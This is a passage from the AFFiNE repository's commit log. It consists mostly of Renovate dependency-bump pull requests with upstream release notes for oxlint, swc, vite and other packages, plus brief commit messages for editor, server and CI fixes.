-   [`5234d96`](https://redirect.github.com/oxc-project/oxc/commit/5234d96) linter: Implement `eslint/no-nested-ternary` ([#&#8203;8150](https://redirect.github.com/oxc-project/oxc/issues/8150)) (Yuichiro Yamashita)
-   [`1c5db72`](https://redirect.github.com/oxc-project/oxc/commit/1c5db72) linter: Implement eslint/no-labels ([#&#8203;8131](https://redirect.github.com/oxc-project/oxc/issues/8131)) (Anson Heung)
-   [`0b04288`](https://redirect.github.com/oxc-project/oxc/commit/0b04288) linter: Move `import/named` to nursery ([#&#8203;8068](https://redirect.github.com/oxc-project/oxc/issues/8068)) (Boshen)

##### Bug Fixes

-   [`0794bee`](https://redirect.github.com/oxc-project/oxc/commit/0794bee) editor/vscode: Set minimum supported ver. to `^1.93.0` ([#&#8203;8182](https://redirect.github.com/oxc-project/oxc/issues/8182)) (Pavel Smirnov)
-   [`f3050d4`](https://redirect.github.com/oxc-project/oxc/commit/f3050d4) linter: Exclude svelte files from `no_unused_vars` rule ([#&#8203;8170](https://redirect.github.com/oxc-project/oxc/issues/8170)) (Yuichiro Yamashita)
-   [`faf7464`](https://redirect.github.com/oxc-project/oxc/commit/faf7464) linter: Disable rule `react/rules-of-hook` by file extension ([#&#8203;8168](https://redirect.github.com/oxc-project/oxc/issues/8168)) (Alexander S.)
-   [`1171e00`](https://redirect.github.com/oxc-project/oxc/commit/1171e00) linter: Disable `react/rules-of-hooks` for vue and svelte files ([#&#8203;8165](https://redirect.github.com/oxc-project/oxc/issues/8165)) (Alexander S.)
-   [`1b9a5ba`](https://redirect.github.com/oxc-project/oxc/commit/1b9a5ba) linter: False positiver in private member expr in oxc/const-comparison ([#&#8203;8164](https://redirect.github.com/oxc-project/oxc/issues/8164)) (camc314)
-   [`6bd9ddb`](https://redirect.github.com/oxc-project/oxc/commit/6bd9ddb) linter: False positive in `typescript/ban-tslint-comment` ([#&#8203;8094](https://redirect.github.com/oxc-project/oxc/issues/8094)) (dalaoshu)
-   [`10a1fd5`](https://redirect.github.com/oxc-project/oxc/commit/10a1fd5) linter: Rule: `no-restricted-imports` support option `patterns` with `group` key ([#&#8203;8050](https://redirect.github.com/oxc-project/oxc/issues/8050)) (Alexander S.)
-   [`b3f38ae`](https://redirect.github.com/oxc-project/oxc/commit/b3f38ae) linter: Rule `no-restricted-imports`: support option `allowImportNames` ([#&#8203;8002](https://redirect.github.com/oxc-project/oxc/issues/8002)) (Alexander S.)
-   [`340cc90`](https://redirect.github.com/oxc-project/oxc/commit/340cc90) linter: Rule `no-restricted-imports`: fix option "importNames" ([#&#8203;7943](https://redirect.github.com/oxc-project/oxc/issues/7943)) (Alexander S.)
-   [`ec2128e`](https://redirect.github.com/oxc-project/oxc/commit/ec2128e) linter: Fix line calculation for `eslint/max-lines` in diagnostics ([#&#8203;7962](https://redirect.github.com/oxc-project/oxc/issues/7962)) (Dmitry Zakharov)
-   [`79af100`](https://redirect.github.com/oxc-project/oxc/commit/79af100) semantic: Reference flags not correctly resolved when after an export stmt ([#&#8203;8134](https://redirect.github.com/oxc-project/oxc/issues/8134)) (camc314)

##### Performance

-   [`d8d2ec6`](https://redirect.github.com/oxc-project/oxc/commit/d8d2ec6) linter: Run rules which require typescript syntax only when source type is actually typescript ([#&#8203;8166](https://redirect.github.com/oxc-project/oxc/issues/8166)) (Alexander S.)
-   [`2736657`](https://redirect.github.com/oxc-project/oxc/commit/2736657) semantic: Allocate `UnresolvedReferences` in allocator ([#&#8203;8046](https://redirect.github.com/oxc-project/oxc/issues/8046)) (Boshen)

##### Refactor

-   [`de8246b`](https://redirect.github.com/oxc-project/oxc/commit/de8246b) language_server: Move structs into own file ([#&#8203;8026](https://redirect.github.com/oxc-project/oxc/issues/8026)) (Alexander S.)
-   [`774babb`](https://redirect.github.com/oxc-project/oxc/commit/774babb) linter: Read `exported_bindings_from_star_export` lazily ([#&#8203;8062](https://redirect.github.com/oxc-project/oxc/issues/8062)) (Boshen)
-   [`547c102`](https://redirect.github.com/oxc-project/oxc/commit/547c102) linter: Use `RwLock<FxHashMap>` instead of `FxDashMap` for module record data ([#&#8203;8061](https://redirect.github.com/oxc-project/oxc/issues/8061)) (Boshen)
-   [`952d7e4`](https://redirect.github.com/oxc-project/oxc/commit/952d7e4) linter: Rename `flat.rs` to `config.rs` ([#&#8203;8033](https://redirect.github.com/oxc-project/oxc/issues/8033)) (camc314)
-   [`50848ed`](https://redirect.github.com/oxc-project/oxc/commit/50848ed) linter: Simplify `ConfigStore` to prep for nested configs ([#&#8203;8032](https://redirect.github.com/oxc-project/oxc/issues/8032)) (camc314)
-   [`b2a4a78`](https://redirect.github.com/oxc-project/oxc/commit/b2a4a78) linter: Remove unused `with_rules` and `set_rule` methods ([#&#8203;8029](https://redirect.github.com/oxc-project/oxc/issues/8029)) (camc314)
-   [`6da0b21`](https://redirect.github.com/oxc-project/oxc/commit/6da0b21) oxlint: Remove unused `git.rs` ([#&#8203;7990](https://redirect.github.com/oxc-project/oxc/issues/7990)) (Boshen)
-   [`58e7777`](https://redirect.github.com/oxc-project/oxc/commit/58e7777) oxlint: Remove extra if check in `Walkdir` ([#&#8203;7989](https://redirect.github.com/oxc-project/oxc/issues/7989)) (Boshen)
-   [`02f968d`](https://redirect.github.com/oxc-project/oxc/commit/02f968d) semantic: Change `Bindings` to a plain `FxHashMap` ([#&#8203;8019](https://redirect.github.com/oxc-project/oxc/issues/8019)) (Boshen)

### [`v0.15.3`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.3): oxlint v0.15.3

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.2...oxlint_v0.15.3)

#### \[0.15.3] - 2024-12-17

##### Features

-   [`25ddb35`](https://redirect.github.com/oxc-project/oxc/commit/25ddb35) linter: Add the import/no_named_default rule ([#&#8203;7902](https://redirect.github.com/oxc-project/oxc/issues/7902)) (Guillaume Piedigrossi)
-   [`ee26b44`](https://redirect.github.com/oxc-project/oxc/commit/ee26b44) linter: Enhance `get_element_type` to resolve more element types ([#&#8203;7885](https://redirect.github.com/oxc-project/oxc/issues/7885)) (dalaoshu)

##### Bug Fixes

-   [`6f41d92`](https://redirect.github.com/oxc-project/oxc/commit/6f41d92) linter: False positive in `unicorn/no-useless-spread` ([#&#8203;7940](https://redirect.github.com/oxc-project/oxc/issues/7940)) (dalaoshu)
-   [`0867b40`](https://redirect.github.com/oxc-project/oxc/commit/0867b40) linter: Fix configuration parser for `no-restricted-imports` ([#&#8203;7921](https://redirect.github.com/oxc-project/oxc/issues/7921)) (Alexander S.)
-   [`9c9b73d`](https://redirect.github.com/oxc-project/oxc/commit/9c9b73d) linter: Fix incorrect fixer for `prefer-regexp-test` ([#&#8203;7898](https://redirect.github.com/oxc-project/oxc/issues/7898)) (Cameron)
-   [`32935e6`](https://redirect.github.com/oxc-project/oxc/commit/32935e6) linter: False positive in `jsx-a11y/label-has-associated-control` ([#&#8203;7881](https://redirect.github.com/oxc-project/oxc/issues/7881)) (dalaoshu)
-   [`14c51ff`](https://redirect.github.com/oxc-project/oxc/commit/14c51ff) semantic: Remove inherting `ScopeFlags::Modifier` from parent scope ([#&#8203;7932](https://redirect.github.com/oxc-project/oxc/issues/7932)) (Dunqing)

##### Refactor

-   [`3858221`](https://redirect.github.com/oxc-project/oxc/commit/3858221) global: Sort imports ([#&#8203;7883](https://redirect.github.com/oxc-project/oxc/issues/7883)) (overlookmotel)
-   [`b99ee37`](https://redirect.github.com/oxc-project/oxc/commit/b99ee37) linter: Move rule "no-restricted-imports" to nursery ([#&#8203;7897](https://redirect.github.com/oxc-project/oxc/issues/7897)) (Alexander S.)
-   [`ff2a68f`](https://redirect.github.com/oxc-project/oxc/commit/ff2a68f) linter/yoda: Simplify code ([#&#8203;7941](https://redirect.github.com/oxc-project/oxc/issues/7941)) (overlookmotel)

##### Styling

-   [`7fb9d47`](https://redirect.github.com/oxc-project/oxc/commit/7fb9d47) rust: `cargo +nightly fmt` ([#&#8203;7877](https://redirect.github.com/oxc-project/oxc/issues/7877)) (Boshen)

### [`v0.15.2`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.2): oxlint v0.15.2

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.1...oxlint_v0.15.2)

#### \[0.15.2] - 2024-12-14

Fix the previous broken release caused by [https://github.com/softprops/action-gh-release/issues/555](https://redirect.github.com/softprops/action-gh-release/issues/555)

### [`v0.15.1`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.1): oxlint v0.15.1

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.0...oxlint_v0.15.1)

#### \[0.15.1] - 2024-12-13

##### Features

-   [`38b1c2e`](https://redirect.github.com/oxc-project/oxc/commit/38b1c2e) editor: Create a command to apply all auto-fixes for the current active text editor ([#&#8203;7672](https://redirect.github.com/oxc-project/oxc/issues/7672)) (Nicholas Rayburn)

##### Bug Fixes

-   [`2b187e5`](https://redirect.github.com/oxc-project/oxc/commit/2b187e5) linter: Fix configuration casing for `typescript/no_this_alias` ([#&#8203;7836](https://redirect.github.com/oxc-project/oxc/issues/7836)) (Boshen)
-   [`06e6d38`](https://redirect.github.com/oxc-project/oxc/commit/06e6d38) linter: Fix unicorn/prefer-query-selector to use the correct replacement for getElementsByClassName ([#&#8203;7796](https://redirect.github.com/oxc-project/oxc/issues/7796)) (Nicholas Rayburn)
-   [`7a83230`](https://redirect.github.com/oxc-project/oxc/commit/7a83230) semantic: Missing reference when `export default` references a type alias binding ([#&#8203;7813](https://redirect.github.com/oxc-project/oxc/issues/7813)) (Dunqing)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-30 10:28:04 +00:00
Brooooooklyn 8463e4d683 ci: speedup Windows CI (#9426) 2024-12-30 10:10:59 +00:00
fundon 569e63377d fix(core): should sync name after renaming in pdf embed view (#9398)
https://github.com/user-attachments/assets/f6a3d7b8-9ae3-4d8f-833f-d7aca1e0fffa
2024-12-30 09:56:02 +00:00
fundon 580e3eb13c chore(editor): use colors from default theme instead (#9425) 2024-12-30 09:41:00 +00:00
darkskygit 47ba0a8a32 fix(server): same identify across pods (#9428) 2024-12-30 09:25:31 +00:00
Yifeng Wang 08ebfb6e70 fix(editor): undefined selected elements (#9429) 2024-12-30 17:25:07 +08:00
Saul-Mirone b66a64bc9a refactor(editor): use spec builder (#9424) 2024-12-30 08:42:58 +00:00
Flrande 4fee0e2eb3 fix(editor): should delete collapsed siblings when delete heading (#9376) 2024-12-30 08:12:04 +00:00
doodlewind 406460a3af chore(docs): update server start script (#9423)
Currently, directly running `yarn dev` in `packages/backend/server` (following `developing-server.md`) instead of `yarn affine server dev` would raise following error:

``` sh
server git:(canary) ✗ yarn dev
[nodemon] 3.1.9
[nodemon] to restart at any time, enter `rs`
[nodemon] watching path(s): *.*
[nodemon] watching extensions: ts,json
[nodemon] starting `node ./src/index.ts`
node:internal/modules/esm/get_format:160
  throw new ERR_UNKNOWN_FILE_EXTENSION(ext, filepath);
        ^

TypeError [ERR_UNKNOWN_FILE_EXTENSION]: Unknown file extension ".ts" for /Users/ewind/code/AFFiNE/packages/backend/server/src/index.ts
    at Object.getFileProtocolModuleFormat [as file:] (node:internal/modules/esm/get_format:160:9)
    at defaultGetFormat (node:internal/modules/esm/get_format:203:36)
    at defaultLoad (node:internal/modules/esm/load:141:22)
    at async ModuleLoader.load (node:internal/modules/esm/loader:409:7)
    at async ModuleLoader.moduleProvider (node:internal/modules/esm/loader:291:45)
    at async link (node:internal/modules/esm/module_job:76:21) {
  code: 'ERR_UNKNOWN_FILE_EXTENSION'
}

Node.js v20.10.0
[nodemon] app crashed - waiting for file changes before starting...
```
2024-12-30 07:28:23 +00:00
renovate 096a925db1 chore: bump up all non-major dependencies (#9405)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.9` -> `1.0.10`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.9/1.0.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.9/1.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.9/1.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.3` -> `1.10.4`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.3/1.10.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.3/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.3/1.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| @&#8203;types/dompurify | [`3.0.5` -> `3.2.0`](https://renovatebot.com/diffs/npm/@types%2fdompurify/3.0.5/3.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [Lakr233/MSDisplayLink](https://redirect.github.com/Lakr233/MSDisplayLink) | `from: "1.1.0"` -> `from: "1.1.1"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fLakr233%2fMSDisplayLink/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | patch |
| [Lakr233/SpringInterpolation](https://redirect.github.com/Lakr233/SpringInterpolation) | `from: "1.1.0"` -> `from: "1.3.0"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.1.0/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fLakr233%2fSpringInterpolation/1.1.0/1.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [katex](https://katex.org) ([source](https://redirect.github.com/KaTeX/KaTeX)) | [`0.16.18` -> `0.16.19`](https://renovatebot.com/diffs/npm/katex/0.16.18/0.16.19) | [![age](https://developer.mend.io/api/mc/badges/age/npm/katex/0.16.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/katex/0.16.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/katex/0.16.18/0.16.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/katex/0.16.18/0.16.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lint-staged](https://redirect.github.com/lint-staged/lint-staged) | [`15.2.11` -> `15.3.0`](https://renovatebot.com/diffs/npm/lint-staged/15.2.11/15.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lint-staged/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lint-staged/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lint-staged/15.2.11/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lint-staged/15.2.11/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [react-day-picker](https://daypicker.dev) ([source](https://redirect.github.com/gpbl/react-day-picker)) | [`9.4.4` -> `9.5.0`](https://renovatebot.com/diffs/npm/react-day-picker/9.4.4/9.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-day-picker/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-day-picker/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-day-picker/9.4.4/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-day-picker/9.4.4/9.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.2.0` -> `15.3.0`](https://renovatebot.com/diffs/npm/react-i18next/15.2.0/15.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.2.0/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.2.0/15.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [swr](https://swr.vercel.app) ([source](https://redirect.github.com/vercel/swr)) | [`2.2.5` -> `2.3.0`](https://renovatebot.com/diffs/npm/swr/2.2.5/2.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/swr/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/swr/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/swr/2.2.5/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/swr/2.2.5/2.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.5` -> `6.0.6`](https://renovatebot.com/diffs/npm/vite/6.0.5/6.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.5/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.5/6.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | patch |
| [yarn](https://redirect.github.com/yarnpkg/berry) ([source](https://redirect.github.com/yarnpkg/berry/tree/HEAD/packages/yarnpkg-cli)) | [`4.5.3` -> `4.6.0`](https://renovatebot.com/diffs/npm/yarn/4.5.3/4.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@yarnpkg%2fcli/4.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@yarnpkg%2fcli/4.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@yarnpkg%2fcli/4.5.3/4.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@yarnpkg%2fcli/4.5.3/4.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | packageManager | minor |
| [yjs](https://docs.yjs.dev) ([source](https://redirect.github.com/yjs/yjs)) | [`13.6.18` -> `13.6.21`](https://renovatebot.com/diffs/npm/yjs/13.6.18/13.6.21) | [![age](https://developer.mend.io/api/mc/badges/age/npm/yjs/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/yjs/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/yjs/13.6.18/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/yjs/13.6.18/13.6.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |

---

### Release Notes

<details>
<summary>DaveMBush/eslint-plugin-rxjs (@&#8203;smarttools/eslint-plugin-rxjs)</summary>

### [`v1.0.10`](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/releases/tag/v1.0.10): 1.0.10 (2024-12-28)

[Compare Source](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs/compare/v1.0.9...v1.0.10)

supplies type information by placing index.d.ts file next to index.cjs file

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.4`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#1104---2024-12-30)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.3...v1.10.4)

##### Bug Fixes

-   **(deps)** Update cargo (patch) ([#&#8203;9733](https://redirect.github.com/swc-project/swc/issues/9733)) ([fb2f6e4](https://redirect.github.com/swc-project/swc/commit/fb2f6e44aa5c741977cc70b588a1b6e44aac0cde))

-   Remove `Caused by: 'failed to parse'` from TS blank space ([#&#8203;9820](https://redirect.github.com/swc-project/swc/issues/9820)) ([aaeb0ab](https://redirect.github.com/swc-project/swc/commit/aaeb0ab3b325c4f9d789aec78a52eec0dfcfac83))

</details>

<details>
<summary>Lakr233/MSDisplayLink (Lakr233/MSDisplayLink)</summary>

### [`v1.1.1`](https://redirect.github.com/Lakr233/MSDisplayLink/compare/1.1.0...1.1.1)

[Compare Source](https://redirect.github.com/Lakr233/MSDisplayLink/compare/1.1.0...1.1.1)

</details>

<details>
<summary>Lakr233/SpringInterpolation (Lakr233/SpringInterpolation)</summary>

### [`v1.3.0`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.2...1.3.0)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.2...1.3.0)

### [`v1.2.2`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.1...1.2.2)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.1...1.2.2)

### [`v1.2.1`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.0...1.2.1)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.2.0...1.2.1)

### [`v1.2.0`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.2...1.2.0)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.2...1.2.0)

### [`v1.1.2`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.1...1.1.2)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.1...1.1.2)

### [`v1.1.1`](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.0...1.1.1)

[Compare Source](https://redirect.github.com/Lakr233/SpringInterpolation/compare/1.1.0...1.1.1)

</details>

<details>
<summary>KaTeX/KaTeX (katex)</summary>

### [`v0.16.19`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#01619-2024-12-29)

[Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.18...v0.16.19)

##### Bug Fixes

-   **types:** improve `strict` function type ([#&#8203;4009](https://redirect.github.com/KaTeX/KaTeX/issues/4009)) ([4228b4e](https://redirect.github.com/KaTeX/KaTeX/commit/4228b4eb529b8e35def66cc6e4fa467383b98c86))

</details>

<details>
<summary>lint-staged/lint-staged (lint-staged)</summary>

### [`v15.3.0`](https://redirect.github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1530)

[Compare Source](https://redirect.github.com/lint-staged/lint-staged/compare/v15.2.11...v15.3.0)

##### Minor Changes

-   [#&#8203;1495](https://redirect.github.com/lint-staged/lint-staged/pull/1495) [`e69da9e`](https://redirect.github.com/lint-staged/lint-staged/commit/e69da9e614db2d45f56e113d45d5ec0157813423) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - Added more info to the debug logs so that "environment" info doesn't need to be added separately to GitHub issues.

-   [#&#8203;1493](https://redirect.github.com/lint-staged/lint-staged/pull/1493) [`fa0fe98`](https://redirect.github.com/lint-staged/lint-staged/commit/fa0fe98104f8885f673b98b8b49ae586de699c5e) Thanks [@&#8203;iiroj](https://redirect.github.com/iiroj)! - Added more help messages around the automatic `git stash` that *lint-staged* creates as a backup (by default). The console output also displays the short git *hash* of the stash so that it's easier to recover lost files in case some fatal errors are encountered, or the process is killed before completing.

    For example:

        % npx lint-staged
        ✔ Backed up original state in git stash (20addf8)
        ✔ Running tasks for staged files...
        ✔ Applying modifications from tasks...
        ✔ Cleaning up temporary files...

    where the backup can be seen with `git show 20addf8`, or `git stash list`:

        % git stash list
        stash@{0}: lint-staged automatic backup (20addf8)

</details>

<details>
<summary>gpbl/react-day-picker (react-day-picker)</summary>

### [`v9.5.0`](https://redirect.github.com/gpbl/react-day-picker/compare/v9.4.4...a06052e71bf199402e15c5aee7805e2be2dd4498)

[Compare Source](https://redirect.github.com/gpbl/react-day-picker/compare/v9.4.4...v9.5.0)

</details>

<details>
<summary>i18next/react-i18next (react-i18next)</summary>

### [`v15.3.0`](https://redirect.github.com/i18next/react-i18next/blob/HEAD/CHANGELOG.md#1530)

[Compare Source](https://redirect.github.com/i18next/react-i18next/compare/v15.2.0...v15.3.0)

Uses the i18next logger instead of the default console logger, if there is a valid i18next instance. Now the debug i18next option is respected, and you can also inject your own logger module: https://www.i18next.com/misc/creating-own-plugins#logger

</details>

<details>
<summary>vercel/swr (swr)</summary>

### [`v2.3.0`](https://redirect.github.com/vercel/swr/compare/v2.2.5...v2.3.0)

[Compare Source](https://redirect.github.com/vercel/swr/compare/v2.2.5...v2.3.0)

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.6`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small606-2024-12-26-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.5...v6.0.6)

-   fix: replace runner-side path normalization with `fetchModule`-side resolve ([#&#8203;18361](https://redirect.github.com/vitejs/vite/issues/18361)) ([9f10261](https://redirect.github.com/vitejs/vite/commit/9f10261e7609098b832fd0fb23a64840b3a0d1a0)), closes [#&#8203;18361](https://redirect.github.com/vitejs/vite/issues/18361)
